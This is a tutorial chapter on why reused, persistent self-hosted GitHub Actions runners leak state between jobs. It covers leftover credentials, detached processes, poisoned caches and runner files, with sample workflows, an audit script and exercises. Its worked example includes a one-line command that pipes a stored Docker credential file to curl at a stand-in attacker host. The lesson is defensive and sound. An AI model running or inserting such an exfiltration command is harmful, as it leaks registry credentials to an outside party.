Sub topic 5
What goes wrong when a runner is reused
This chapter assumes you can read GitHub Actions workflow syntax (on, jobs, steps, runs-on), work in a Linux shell, and understand the basics of containers or virtual machines. It also assumes you know what a runner is and how a job reaches it by label, which earlier chapters covered.
A persistent runner is a self-hosted runner that stays registered and keeps accepting jobs one after another on the same machine. This is the default behavior. It is convenient, because caches stay warm and there is no startup cost. It also means every job inherits whatever the previous jobs left behind. This chapter covers what that leftover state is, how it leaks, and why the leaks are hard to notice.
Why a reused runner is different from a hosted one
On a GitHub-hosted runner, each job gets a fresh virtual machine that is discarded afterward. Nothing from job A can reach job B, because job B never sees job A's machine.
A persistent self-hosted runner has no such reset. The runner application polls GitHub for work, runs one job at a time, and then waits for the next one. Between jobs it cleans up very little. The operating system, the user account, the filesystem outside the workspace, running processes, and the network position all carry over.
The rest of this chapter walks through the kinds of state that survive.
Kinds of state that survive between jobs
Files in the workspace and elsewhere
The runner keeps a work directory, typically _work, where actions/checkout places the repository. Checkout cleans tracked files by default, but it does not promise a pristine directory. Untracked files, ignored files, and anything written outside the checkout path can remain.
A job can also write anywhere its user account can write. Common places include:
/tmpand other shared temporary directories.- The home directory, including
~/.cache,~/.npm,~/.m2, and~/.gradle. - Tool configuration such as
~/.gitconfig,~/.ssh,~/.docker/config.json, and~/.aws. - Directories added to
PATHor tool installs under/usr/local.
None of these are removed when the job ends.
Credentials left on disk
Credentials are the most damaging leftover. Several common steps write secrets to disk:
docker loginstores registry credentials in~/.docker/config.json.- Cloud CLIs and login actions can cache tokens in the home directory.
actions/checkoutpersists theGITHUB_TOKENin the repository's local Git configuration unless you setpersist-credentials: false. The token expires when the job ends, but a later job running during the same period on the same machine, or a process that outlives the job, can still read it.- Scripts that write a key to a file so a tool can read it often forget to delete it.
GitHub masks registered secrets in logs. Masking does nothing for files on disk, and it does not stop a later job from reading them.
Background processes
A step can start a process that keeps running after the job ends. The runner does clean up its own child processes in many cases, but a process that detaches itself, such as a daemon, a container started with docker run -d, or a process started with setsid, can survive. A surviving process can:
- Keep a listening port open for a later job to connect to.
- Hold secrets in its memory or environment.
- Watch for the next job and modify files in its workspace while it runs.
Environment and tool state
Jobs can alter the machine in ways that change later results:
- Installed packages and upgraded tools.
- Modified shell startup files such as
~/.bashrcor~/.profile. - Docker images, volumes, and networks. A job with access to the Docker daemon can also pull in or tag images that a later job then trusts.
- Poisoned caches. A dependency cache populated by one job is reused by the next, so a corrupted or malicious package in the cache persists.
Runner-level files
The runner's own directory holds configuration files that the runner uses to authenticate to GitHub. A job runs as the same OS user that owns this directory unless you arrange otherwise. A step can therefore read or alter the runner's configuration and the files it uses to connect. A modified runner binary or hook script will then execute during later jobs.
Two failure categories
The leaks above fall into two groups that call for different fixes.
| Category | Example | What it breaks |
|---|---|---|
| Accidental contamination | A stale build output or cached dependency changes a later build | Reproducibility. Builds pass or fail depending on history |
| Deliberate persistence | A job plants a script or process that survives and attacks later jobs | Confidentiality and integrity of every job that runs afterward |
Accidental contamination is the common one in day-to-day work. It produces "works on that runner, fails on this one" bugs and tests that pass only because an earlier job left a file behind. Deliberate persistence matters when any job on the machine runs code you do not fully control.
A concrete example
Suppose two repositories share a persistent runner. Repository one has a job that deploys with a registry login:
name: publish
on:
push:
branches: [main]
permissions:
contents: read
jobs:
publish:
runs-on: [self-hosted, linux, x64]
steps:
- uses: actions/checkout@v4
- run: echo "$REGISTRY_PASSWORD" | docker login registry.example.com -u ci-bot --password-stdin
env:
REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }}
- run: make publishThe secret is masked in the log. The job finishes. But docker login has written the credential, base64-encoded rather than encrypted, into ~/.docker/config.json for the runner's user.
Repository two has a job that any contributor can influence, for example a build that runs scripts from the repository's own Makefile:
name: build
on: pull_request
permissions:
contents: read
jobs:
build:
runs-on: [self-hosted, linux, x64]
steps:
- uses: actions/checkout@v4
- run: make buildIf a pull request changes the build target to run cat ~/.docker/config.json | curl -d @- https://attacker.example, the next time that job lands on the same runner it can send the publishing credential away. No secret from repository two was involved. The workflow never needed access to REGISTRY_PASSWORD. The leftover file did the work.
Note what made this possible. Both repositories could use the same runner, the same OS user ran both jobs, and nothing erased the file between them.
Cleanup steps do not solve it
A common first reaction is to add cleanup. You might delete the work directory at the start of each job, run docker logout at the end, or use the runner's job-completed hook, a script the runner executes after each job. These help with accidental contamination, and they are worth having on any runner that persists. They are weak against deliberate persistence for several reasons:
- Cleanup is a list of things you thought of. State can live anywhere the user can write.
- Cleanup steps in a workflow only run if the job reaches them. Use
if: always()to run a step after failure. Even then, a cancelled or timed-out job, or a crashed runner, may skip it. - Code that runs in the job can tamper with the cleanup itself, for example by editing a hook script that runs later.
- A compromised job can leave a process that waits until the cleanup is done and then rewrites its files.
Cleanup is a mitigation. The reliable fix removes the shared machine rather than trying to clean it.
Why this matters more for self-hosted runners
A self-hosted runner often sits somewhere a hosted runner does not:
- Inside a private network with access to internal services, databases, and package mirrors.
- On a machine with an attached cloud instance role, giving every job that machine's cloud permissions through the metadata service.
- On hardware with long-lived mounted volumes, SSH keys, or deployment credentials.
A persistent runner in that position turns any code execution on it into a foothold inside your network. Reuse extends the foothold from one job to every later job, including jobs from other repositories and teams that you assumed were separate.
Diagnosing contamination
Signs that reuse is already causing problems:
- A build fails on one runner and passes on another with the same commit.
- A rerun passes without any code change.
- Disk usage on the runner grows steadily until jobs fail with "no space left on device".
- Tests pass only after another job has run first.
- Processes or containers from finished jobs appear in
psordocker ps.
You can audit a runner for leftover state with a few commands. Run this on the runner host between jobs:
#!/usr/bin/env bash
set -euo pipefail
echo "== Credential files =="
ls -l ~/.docker/config.json ~/.aws/credentials ~/.ssh 2>/dev/null || true
echo "== Git credential config in the workspace =="
grep -rl --include=config 'extraheader' _work 2>/dev/null || true
echo "== Detached processes owned by this user =="
ps -u "$(id -un)" -o pid,ppid,etime,cmd | grep -v -E 'Runner.Listener|ps -u|grep' || true
echo "== Running containers =="
docker ps --format '{{.ID}} {{.Image}} {{.Status}}' 2>/dev/null || trueRun it from the runner's home directory, where the _work directory sits next to the runner application. Anything it prints that you did not expect was left by a job.
Recap of the problem
A persistent runner shares one operating system, one user, one filesystem, one process table, and one network position across all the jobs it serves. Anything one job does to those is visible to the next. The risk is accidental when jobs are trusted and deliberate when they are not. Cleanup reduces the first and cannot guarantee protection against the second. The next chapters look at who can run code on your runners, and then at runners that exist for exactly one job.
Exercise
Two repositories share a persistent self-hosted runner. A job in repository A runs docker login using a secret, and the workflow log shows the password masked. Explain how a job in repository B could still obtain the credential, and name one reason a workflow-level cleanup step is not a reliable fix.
Show answer
docker login writes the credential to ~/.docker/config.json in the runner user's home directory. Masking only hides the value in logs. The file stays on disk, so a later job from repository B running as the same user can read it. A cleanup step such as docker logout is not reliable because it only runs if the job reaches it (a cancelled, timed-out, or crashed job may skip it), it covers only the paths you thought to clean, and code running in the job can tamper with cleanup or leave a detached process that restores the state afterward.
Exercise
List three places outside the checkout directory where a job can leave state that a later job on the same persistent runner will see.
Show answer
Any three of: /tmp; the home directory caches such as ~/.npm or ~/.gradle; credential and config files such as ~/.docker/config.json, ~/.aws, ~/.ssh, or ~/.gitconfig; shell startup files like ~/.bashrc; installed tools under /usr/local; Docker images, volumes, and containers; detached background processes; the runner's own configuration and hook scripts.